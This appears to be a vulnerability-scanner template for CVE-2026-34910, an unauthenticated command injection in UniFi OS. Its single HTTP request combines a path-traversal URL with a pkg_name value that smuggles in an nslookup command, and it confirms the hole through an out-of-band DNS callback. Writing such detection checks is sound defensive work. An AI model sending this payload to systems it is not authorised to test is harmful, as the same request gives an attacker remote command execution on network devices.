id: CVE-2026-34910

info:
  name: "UniFi OS - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in
    UniFi OS devices to execute a Command Injection.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-34910&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=unifi&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34910
  metadata:
    verified: false
  tags: cve,cve2026,unifi,rce,vkev,kev
http:
  - raw:
      - |
        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+{{interactsh-url}}+%3b HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body , "CODE_SYSTEM_ERROR", "System failure")'
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and